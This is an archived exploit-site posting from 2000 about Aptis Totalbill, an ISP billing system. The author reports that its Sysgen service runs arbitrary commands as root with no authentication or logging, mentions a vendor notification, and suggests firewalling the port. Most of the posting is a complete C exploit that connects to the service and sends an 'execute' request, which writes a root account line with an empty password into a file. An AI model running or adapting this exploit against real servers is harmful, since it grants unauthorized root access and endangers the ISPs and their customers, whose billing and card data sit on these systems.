what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

totalbill.c

totalbill.c
Posted Aug 10, 2000
Authored by Brian Masney

Totalbill is a complete billing and provisioning system for ISPs which contains remote root vulnerabilities.

tags | exploit, remote, root, vulnerability
SHA-256 | 6eccd079ce9e4448c67abb2c3b60374644fb7bf4faed59fe18628ecd8b704e95

totalbill.c

Change Mirror Download
   Totalbill is a complete billing and provisioning system for ISPs, and
it's written by Aptis Software (www.aptissoftware.com). There is one part
of it that sits on your mail and radius servers called Sysgen that listens
on a port (sometimes 9998, but it usually varies), and it allows the
incoming provisioning requests to be handled. Well, the problem is it
doesn't do any logging on the incoming connections, doesn't do ANY kind of
authentication, and it will let you run any program as root remotely
without it being logged. I notified Aptis about this problem back in
November 1999, and they haven't released an update yet. Obviously,
security must not be a top priority for them...

Also, I never did get to verify this, but it looks like cc_queue (handles
credit card transactions) is vulnerable to buffer overflows as well. I
would suggest start firewalling some of these ports...

And now for the code... It'll just create a file called /rootfile on your
machine, and no logging will have taken place.

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */

int main (void)
{
struct sockaddr_in servaddr;
char *tempstr, buf[8192];
struct hostent *host;
int sockfd;

if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr, "Error: Could not create a socket: %s\n",
strerror (errno));
return (1);
}
memset (&servaddr, 0, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (TOTALBILL_PORT);

if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
{
fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
return (1);
}

memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
{
fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
strerror (errno));
return (1);
}
tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
{
fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
return (1);
}
printf ("Sent...waiting for response...\n");
if (read (sockfd, buf, sizeof (buf)) < 0)
{
fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
return (1);
}
printf ("Received %s from server\n", buf);
close (sockfd);
return (0);
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close